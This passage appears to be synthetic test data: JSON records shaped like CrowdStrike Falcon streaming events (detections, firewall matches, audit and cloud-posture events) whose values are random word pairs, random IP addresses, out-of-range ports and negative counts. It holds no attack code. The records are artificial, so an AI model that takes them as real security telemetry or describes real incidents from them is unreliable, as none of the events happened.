"grievingtree","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "thesepatrol","offset": 1360207044,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "plaingroup","CustomerId": "somebodygroup","Ipv": "66.20.151.157","CommandLine": "herebowl","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "alltrip","ICMPCode": "sufficientharvest","ICMPType": "Americancollege","ImageFileName": "importantcontent","LocalAddress": "229.210.85.178","LocalPort": "52332","MatchCount": 1393134792,"MatchCountSinceLastReport": 101557834,"NetworkProfile": "howgang","PID": "1288272938","PolicyName": "manygeneration","PolicyID": "howambulance","Protocol": "herream","RemoteAddress": "205.157.7.87","RemotePort": "65126","RuleAction": "itchildhood","RuleDescription": "cave reel film whichset","RuleFamilyID": "whysunglasses","RuleGroupName": "somesalt","RuleName": "Shakespeareanworld","RuleId": "mystack","Status": "someyear","Timestamp": 1751371830,"TreeID": "itsshoulder"}} +{"metadata": {"customerIDString": "thatsteak","offset": -1255646667,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "dangerousreligion","DetectName": "ourchest","DetectDescription": "currency work bevy knowledge choir howtrade","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/obnoxioussister?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 11,"SeverityName": "Low","Tactic": "myclump","Technique": "Thaibrace","Objective": "thatwealth","SourceAccountDomain": "anyphilosophy","SourceAccountName": "a littleguitar","SourceAccountObjectSid": "wherequantity","SourceEndpointAccountObjectGuid": "thosebody","SourceEndpointAccountObjectSid": "hisfuel","SourceEndpointHostName": "herresearch","SourceEndpointIpAddress": "184.204.146.196","SourceEndpointSensorId": "whichmob","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "mypack","PatternId": 1700953340}} +{"metadata": {"customerIDString": "whychoir","offset": -1547696080,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "thosedisregard","Highlights": ["inquiringshower"],"MatchedTimestamp": 1686889114000,"RuleId": "everyonepod","RuleName": "Canadianclass","RuleTopic": "thereclass","RulePriority": "Congolesegovernment","ItemId": "Peruvianjoy","ItemType": "BREACH_6G","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "realisticbitterness","offset": -495225738,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "therejuice","MobileDetectionId": -1541162559,"ComputerName": "wheretoothbrush","UserName": "Thaitroupe","ContextTimeStamp": 1649061056,"DetectId": "plenty ofstand","DetectName": "anythingcaravan","DetectDescription": "page welfare clump heap heat pair nest troop part hair sheaf product company way number person string wood team jersey child eye freezer someonefreedom","Tactic": "heregalaxy","TacticId": "fewpaper","Technique": "somesister","TechniqueId": "thosegang","Objective": "herrespect","Severity": 7,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/vastmurder?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "itparty","AndroidAppLabel": "Elizabethanmob","DexFileHashes": "hismall","ImageFileName": "Antarcticold age","AppInstallerInformation": "lots ofaccount","IsBeingDebugged": false,"AndroidAppVersionName": "whatsheaf","IsContainerized": false}]}} +{"metadata": {"customerIDString": "heretown","offset": -384081936,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "splendidbunch","UserIp": "27.238.143.166","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whatdeskpath","ValueString": "whichannoyance"}],"Attributes": {"actor_cid": "theirhealth","actor_user": "anythingdynasty","actor_user_uuid": "variedmob","app_id": "anyonelife","saml_assertion": "whosecackle","target_user": "howkoala","trace_id": "whichbale"}}} +{"metadata": {"customerIDString": "manyoutfit","offset": 1905963089,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "eachpeace","DataDomains": "Email","Description": "desk care hisbale","DetectId": "somemob","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "48.70.160.5","HostNames": "whosemouth","Name": "thesehoses","PatternId": 591567142,"Severity": 2,"SourceProducts": "eachteam","SourceVendors": "mychild","StartTimeEpoch": 1643317697728000000,"TacticIds": "theirpencil","Tactics": "over therecrew","TechniqueIds": "nobodyrange","Techniques": "allbevy","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "theseapartment","offset": 176461631,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "shycrew","UserIp": "53.0.135.20","OperationName": "updateUser","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "enough ofcrime","ValueString": "over thereluxury"}],"Attributes": {"actor_cid": "everybodytime","actor_user": "thishammer","actor_user_uuid": "greattea","app_id": "aliveexaltation","saml_assertion": "thishorror","target_user": "Sri-Lankanwisp","trace_id": "purpleman"}}} +{"metadata": {"customerIDString": "whyold age","offset": 316864808,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "numerousdishonesty","HostnameField": "over thereright","UserName": "yourstairs","StartTimestamp": 1582830734,"AgentIdString": "coupleedge"}} +{"metadata": {"customerIDString": "lovelyscale","offset": -627467081,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "everyonefact","UserIp": "121.60.59.78","OperationName": "revokeUserRoles","ServiceName": "detections","AuditKeyValues": [{"Key": "hundredgroup","ValueString": "theseday"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "grumpyheat"}}} +{"metadata": {"customerIDString": "couplescold","offset": 543949641,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "joyousriches","DetectName": "frailteam","DetectDescription": "work thing fleet way reel bank electricity bale hospitality thisseafood","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/luckyteam?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 10,"SeverityName": "High","Tactic": "therecrowd","Technique": "fewblender","Objective": "someonepride","SourceAccountDomain": "whichswimming pool","SourceAccountName": "over thereenvy","SourceAccountObjectSid": "greatbread","SourceEndpointAccountObjectGuid": "whereschool","SourceEndpointAccountObjectSid": "cleverpain","SourceEndpointHostName": "creepyhorde","SourceEndpointIpAddress": "136.36.92.210","SourceEndpointSensorId": "nonepacket","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "friendlyheart","PatternId": -443713424}} +{"metadata": {"customerIDString": "thereappetite","offset": 623154183,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "someonemustering","IncidentDescription": "wisp range muster problem grains beans pleasanttrip","Severity": 78,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "yourproblem","UserName": "hisgroup","EndpointName": "fewfashion","EndpointIp": "172.22.143.10","Category": "Incidents","NumbersOfAlerts": 1390974751,"NumberOfCompromisedEntities": -1069330858,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/crowdedwindow?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "puzzledgossip","offset": -361244643,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1334881571,"ProcessEndTime": 1592090652,"ProcessId": -3691523,"ParentProcessId": -487733610,"ComputerName": "onepod","UserName": "funnybread","DetectName": "tamechapter","DetectDescription": "bill student composer shop cast day physician gang belt deceit apro swimming pool year yourbrace","Severity": 1,"SeverityName": "Critical","FileName": "whydynasty","FilePath": "enviousjoy\\whydynasty","CommandLine": "C:\\Windows\\lightfork","SHA256String": "stormyforest","MD5String": "severalregiment","SHA1String": "anycompany","MachineDomain": "wholecast","NetworkAccesses": [{"AccessType": 1619339910,"AccessTimestamp": 1751371565,"Protocol": "hundredmustering","LocalAddress": "224.47.187.47","LocalPort": 78055,"RemoteAddress": "229.92.156.190","RemotePort": 45009,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itlaughter?_cid=xxxxxxx","SensorId": "everythingcash","IOCType": "registry_key","IOCValue": "blushingjustice","DetectId": "terriblechair","LocalIP": "19.90.220.75","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "mostbaby","Technique": "nonexylophone","Objective": "distincttroop","PatternDispositionDescription": "cast galaxy troupe murder hospital library anyoneinformation","PatternDispositionValue": 650470780,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "everybodydarkness","ParentCommandLine": "severalclarity","GrandparentImageFileName": "thismusic","GrandparentCommandLine": "thatgroup","HostGroups": "whatstand","AssociatedFile": "Turkishishthrill","PatternId": -1395883393}} +{"metadata": {"customerIDString": "whatcamp","offset": 463109765,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "tastydisregard","CustomerId": "nonefriendship","Ipv": "114.154.92.79","CommandLine": "thesepeace","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": true},"HostName": "Atlanteanscale","ICMPCode": "nonehatred","ICMPType": "thosetrend","ImageFileName": "whichcalm","LocalAddress": "137.152.165.251","LocalPort": "84787","MatchCount": -420311943,"MatchCountSinceLastReport": 1591016967,"NetworkProfile": "Costa Ricanscold","PID": "1684063285","PolicyName": "ourlife","PolicyID": "eachgrammar","Protocol": "Putinistlife","RemoteAddress": "174.197.33.250","RemotePort": "43235","RuleAction": "thosehand","RuleDescription": "group thiscompany","RuleFamilyID": "Caesarianhand","RuleGroupName": "thiscast","RuleName": "yourgroup","RuleId": "howair","Status": "distinctmuster","Timestamp": 1751371830,"TreeID": "enough ofarchipelago"}} +{"metadata": {"customerIDString": "sparseregiment","offset": 1805307211,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "nobodyknowledge","DataDomains": "Network","Description": "thing packet cravat furniture giraffe hedge horde packet gossip abundantway","DetectId": "wherebridge","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "100.108.176.150","HostNames": "severalappetite","Name": "everybodybus","PatternId": -977701303,"Severity": 12,"SourceProducts": "oneboard","SourceVendors": "helplessgroup","StartTimeEpoch": 1643317697728000000,"TacticIds": "itgroup","Tactics": "Mexicanpoverty","TechniqueIds": "herwork","Techniques": "Burkinesebale","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "tenderworld","offset": -1993693801,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "hertoothbrush","CustomerId": "greatpurse","Ipv": "17.207.201.185","CommandLine": "whyforest","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "Romancalm","ICMPCode": "yourshock","ICMPType": "quizzicalbrass","ImageFileName": "whereclothing","LocalAddress": "69.20.63.89","LocalPort": "40325","MatchCount": -311473488,"MatchCountSinceLastReport": -361100485,"NetworkProfile": "insufficientbrace","PID": "208161615","PolicyName": "Thatcheriteslippers","PolicyID": "whypatrol","Protocol": "mysteriouslove","RemoteAddress": "98.125.133.9","RemotePort": "40806","RuleAction": "yoursand","RuleDescription": "flock time bill goodness chest congregation hat governor travel tribe washing machine elegance luck pain harvest professor minute exaltation myseed","RuleFamilyID": "Pacificguilt","RuleGroupName": "embarrassedvillage","RuleName": "nobodychest","RuleId": "enthusiasticgrandmother","Status": "somebodyapartment","Timestamp": 1751371830,"TreeID": "innocentpride"}} +{"metadata": {"customerIDString": "Lincolniancloud","offset": 2137637684,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "ourfreedom","IncidentDescription": "electricity party Somaliproduction","Severity": 66,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "youroil","UserName": "anybouquet","EndpointName": "theirlips","EndpointIp": "77.81.24.146","Category": "Incidents","NumbersOfAlerts": -158330689,"NumberOfCompromisedEntities": -1941609754,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/gloriousclump?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "somecoffee","offset": 1026554108,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "thiscandle","UserID": "lots ofnumber","ExecutionID": "whatgovernment","ReportID": "severalshower","ReportName": "shinymob","ReportType": "yourcaravan","ReportFileReference": "everybodybunch","Status": "myhappiness","StatusMessage": "howbowl","ExecutionMetadata": {"ExecutionStart": 2027571411,"ExecutionDuration": 1732978182,"ReportFileName": "theseeye","ResultCount": 1245107465,"ResultID": "howenvy","SearchWindowStart": 1603607858,"SearchWindowEnd": -1760779445}}} +{"metadata": {"customerIDString": "Bahamianelegance","offset": -2019281872,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howlibrary","PolicyId": -1331161268,"PolicyStatement": "abundantblock","CloudProvider": "foolishpack","CloudService": "eachmango","Severity": 10,"SeverityName": "High","EventAction": "Welshlawn","EventSource": "thatrainbow","EventCreatedTimestamp": 1663011160,"UserId": "whichability","UserName": "whatbale","UserSourceIp": "114.181.169.0","Tactic": "herstupidity","Technique": "myperson"}} +{"metadata": {"customerIDString": "theirbundle","offset": -94547868,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "whatreel","Highlights": ["itgalaxy"],"MatchedTimestamp": 1686889114000,"RuleId": "itstroop","RuleName": "over thereadvice","RuleTopic": "whererespect","RulePriority": "mytroop","ItemId": "hispunctuation","ItemType": "6G_EXTERNAL","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "nophotographer","offset": 1060218677,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hundredsline","HostnameField": "Cypriotcast","UserName": "everyoneblock","StartTimestamp": 1582830734,"AgentIdString": "Canadianway"}} +{"metadata": {"customerIDString": "sillyseafood","offset": -1086457365,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "over therecast","PolicyId": 613464372,"PolicyStatement": "theresister","CloudProvider": "severalgame","CloudService": "anythingcase","Severity": 94,"SeverityName": "Low","EventAction": "eachchoir","EventSource": "allmuster","EventCreatedTimestamp": 1663011160,"UserId": "vastbasket","UserName": "whosethought","UserSourceIp": "19.230.199.32","Tactic": "whichchest","Technique": "whyoil"}} +{"metadata": {"customerIDString": "thisanswer","offset": 143346317,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "herteam","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Beethoveniangrandmother","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "bill computer travel milk day set work hand greatsleep","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyonedolphin?_cid=xxxxxxx","FileName": "Putinistcaptain","FilePath": "eachbody\\Putinistcaptain","FilesAccessed": [{"FileName": "Putinistcaptain","FilePath": "eachbody\\Putinistcaptain","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Putinistcaptain","FilePath": "eachbody\\Putinistcaptain","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\wherebrother","GrandParentImageFileName": "everybodyflock","GrandParentImageFilePath": "littleweek\\everybodyflock","HostGroups": "scarylife","Hostname": "talentedbevy","LocalIP": "236.6.109.9","LocalIPv6": "229.180.81.241","LogonDomain": "nobodyclass","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "whichnest","Name": "herbevy","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -554710589,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "1.139.97.90","LocalPort": 40012,"Protocol": "Ecuadorianmercy","RemoteAddress": "46.183.64.131","RemotePort": 74083}],"Objective": "yourhelp","ParentCommandLine": "C:\\Windows\\whoseimportance\\thatpair","ParentImageFileName": "thatpair","ParentImageFilePath": "distinctmurder\\thatpair","ParentProcessId": -1832873161,"PatternDispositionDescription": "luxury doctor range part shrimp theirsmile","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": true,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 1412194306,"PatternId": 1936471643,"PlatformId": "mucharchipelago","PlatformName": "Mac","ProcessEndTime": 1724538403,"ProcessId": 702683689,"ProcessStartTime": 1164360404,"ReferrerUrl": "theirrain","SHA1String": "quizzicalpatrol","SHA256String": "Asiangroup","Severity": 63,"SeverityName": "Medium","SourceProducts": "Machiavellianyear","SourceVendors": "sorecrowd","Tactic": "over thereleap","Technique": "thatcardigan","Type": "ofp","UserName": "over theredentist"}} +{"metadata": {"customerIDString": "thismob","offset": -1135591888,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ourthing","Region": "us-east-2","ResourceId": "emptyjoy","ResourceIdType": "enviouspride","ResourceName": "fewfailure","ResourceCreateTime": 0,"PolicyStatement": "Cambodianscold","PolicyId": -1106969094,"Severity": 54,"SeverityName": "Low","CloudPlatform": "bluemuster","CloudService": "heavilytraffic","Disposition": "Failed","ResourceUrl": "Turkishishdesktop","Finding": "lots ofresearch","Tags": [{"Key": "muchthought","ValueString": "oddpleasure"}],"ReportUrl": "enoughtowel","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "emptybevy","offset": 1881687581,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 873150530,"ProcessEndTime": 1068196828,"ProcessId": 428512325,"ParentProcessId": 1512278529,"ComputerName": "itsfrock","UserName": "onesandals","DetectName": "onedeskpath","DetectDescription": "troop chest knowledge exaltation woman oil reel pod water melon world failure ream meeting hail train station waist sedge hatred heavilypunctuation","Severity": 4,"SeverityName": "Low","FileName": "Gabonesecup","FilePath": "wearycleverness\\Gabonesecup","CommandLine": "C:\\Windows\\herepurse","SHA256String": "whichelegance","MD5String": "whycleverness","SHA1String": "wickedgroup","MachineDomain": "hersedge","NetworkAccesses": [{"AccessType": -945094986,"AccessTimestamp": 1751371565,"Protocol": "innocentperson","LocalAddress": "56.10.165.227","LocalPort": 83251,"RemoteAddress": "108.237.216.106","RemotePort": 76169,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/handsomelibrary?_cid=xxxxxxx","SensorId": "blackworld","IOCType": "filename","IOCValue": "thisunion","DetectId": "Californiantribe","LocalIP": "127.230.75.80","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Turkmenintelligence","Technique": "Victoriancash","Objective": "Elizabethandamage","PatternDispositionDescription": "tea childhood sugar flock importance brass bunch clump mustering weather chair danger world confusion bale elegance congregation fear wad body determination time plenty ofshower","PatternDispositionValue": -309856554,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "herflock","ParentCommandLine": "severalmob","GrandparentImageFileName": "Gabonesework","GrandparentCommandLine": "ithappiness","HostGroups": "Bahraineancheese","AssociatedFile": "handsomefork","PatternId": -67810910}} +{"metadata": {"customerIDString": "a littledress","offset": -1895714009,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Antarcticcase","Region": "us-west-2","ResourceId": "whoseyear","ResourceIdType": "Chinesemilk","ResourceName": "somebodytask","ResourceCreateTime": 0,"PolicyStatement": "hereairport","PolicyId": 535746907,"Severity": 100,"SeverityName": "Low","CloudPlatform": "everybodyhorse","CloudService": "whatstreet","Disposition": "Failed","ResourceUrl": "howline","Finding": "severalbevy","Tags": [{"Key": "whatpharmacist","ValueString": "yourfriendship"}],"ReportUrl": "thissnowman","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "pleasantpack","offset": -242479742,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "halfusage","PolicyId": 1518836599,"PolicyStatement": "wheretroupe","CloudProvider": "hispeace","CloudService": "yournumber","Severity": 99,"SeverityName": "Medium","EventAction": "successfulhand","EventSource": "herelawyer","EventCreatedTimestamp": 1663011160,"UserId": "over therechild","UserName": "anyeye","UserSourceIp": "173.212.243.84","Tactic": "thatsoup","Technique": "heavilyparty"}} +{"metadata": {"customerIDString": "Costa Ricanbasket","offset": -701009047,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "everythingwork","HostnameField": "stupidtroupe","UserName": "fewluxury","StartTimestamp": 1582830734,"AgentIdString": "everythingcackle"}} +{"metadata": {"customerIDString": "sufficientcompany","offset": -1724502797,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "theseyear","Highlights": ["Uzbekcackle"],"MatchedTimestamp": 1686889114000,"RuleId": "therecluster","RuleName": "illhorror","RuleTopic": "sufficientman","RulePriority": "so fewspaghetti","ItemId": "mytribe","ItemType": "6G","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "whosetroupe","offset": -295595764,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "itsstand","IncidentDescription": "sister stupidity trip fiction board exaltation dream pencil man parfume confusion theater flock smile staff caravan team party growth exaltation pod delay Diabolicalloneliness","Severity": 41,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "whatsmile","UserName": "over thereslavery","EndpointName": "manyrestaurant","EndpointIp": "96.60.203.83","Category": "Detections","NumbersOfAlerts": 1646546820,"NumberOfCompromisedEntities": -1689567587,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thisexaltation?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "onelaptop","offset": -173772921,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "gorgeousinnocence","Highlights": ["thatcooker"],"MatchedTimestamp": 1686889114000,"RuleId": "ourpod","RuleName": "thisedge","RuleTopic": "everybodybatch","RulePriority": "moderngovernment","ItemId": "fancypleasure","ItemType": "TYPOSQUATTING","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "Kazakhscold","offset": -24057922,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Confuciantime","State": "closed","FineScore": 2.1490279167369963,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "brownmustering","HostID": "yourbowl","LMHostIDs": ["eachclarity"],"UserId": "Cambodianbear"}} +{"metadata": {"customerIDString": "yournest","offset": -1196410688,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Swissclass","DetectName": "ourweather","DetectDescription": "solitude troop cackle litter disregard potato staff genetics anyonecrowd","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ourmob?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 12,"SeverityName": "Informational","Tactic": "whatclass","Technique": "dangerousregiment","Objective": "eachbale","SourceAccountDomain": "Chineseweather","SourceAccountName": "enough ofexaltation","SourceAccountObjectSid": "yourcalm","SourceEndpointAccountObjectGuid": "everybodyman","SourceEndpointAccountObjectSid": "Asiancaravan","SourceEndpointHostName": "whoseposse","SourceEndpointIpAddress": "28.46.62.31","SourceEndpointSensorId": "hereleisure","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "thesemonkey","PatternId": -1330504039}} +{"metadata": {"customerIDString": "nobodyproblem","offset": -409318418,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "eithergroup","DetectName": "Sri-Lankanpack","DetectDescription": "reel xylophone waiter silence lawn king reel patrol water ability bag bikini mustering canoe tomatoes congregation manycatalog","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/toomuster?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 70,"SeverityName": "Low","Tactic": "sufficientchest","Technique": "ourvilla","Objective": "herekitchen","SourceAccountDomain": "itsfact","SourceAccountName": "thatriches","SourceAccountObjectSid": "allanger","SourceEndpointAccountObjectGuid": "Amazoniananswer","SourceEndpointAccountObjectSid": "whattree","SourceEndpointHostName": "myscold","SourceEndpointIpAddress": "243.191.118.101","SourceEndpointSensorId": "thosedamage","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "anycare","PatternId": 1498371416}} +{"metadata": {"customerIDString": "someoneorange","offset": 1360025336,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whichbutter","State": "open","FineScore": 3.269068915450038,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "somebodyproblem","HostID": "howmovement","LMHostIDs": ["itsparty"],"UserId": "theretree"}} +{"metadata": {"customerIDString": "Putinistmuster","offset": -1421858061,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatman","UserIp": "56.234.182.112","OperationName": "resetAuthSecret","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "drabedge","ValueString": "thisdynasty"}],"Attributes": {"actor_cid": "wheresafety","actor_user": "anythingcaravan","actor_user_uuid": "Torontonianpad","app_id": "longbody","saml_assertion": "wherecow","target_user": "fewcongregation","trace_id": "whosebook"}}} +{"metadata": {"customerIDString": "Brazilianlibrary","offset": -1775525651,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "hisarmy","Region": "us-west-1","ResourceId": "mybunch","ResourceIdType": "nobodyobesity","ResourceName": "manypod","ResourceCreateTime": 0,"PolicyStatement": "thosebevy","PolicyId": -1563531110,"Severity": 82,"SeverityName": "Critical","CloudPlatform": "Swissbaby","CloudService": "hismouth","Disposition": "Passed","ResourceUrl": "Alpinecard","Finding": "everyoneboard","Tags": [{"Key": "yourharvest","ValueString": "Hinduguitar"}],"ReportUrl": "enough ofpatience","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "whyarchipelago","offset": 1100361421,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "scarygarlic","PolicyId": -508337642,"PolicyStatement": "South Americangain","CloudProvider": "eachkitchen","CloudService": "wheregirl","Severity": 0,"SeverityName": "Informational","EventAction": "nobodyapartment","EventSource": "Japaneseparty","EventCreatedTimestamp": 1663011160,"UserId": "cleartable","UserName": "doublebravery","UserSourceIp": "79.186.227.6","Tactic": "whichpharmacist","Technique": "anythingheap"}} +{"metadata": {"customerIDString": 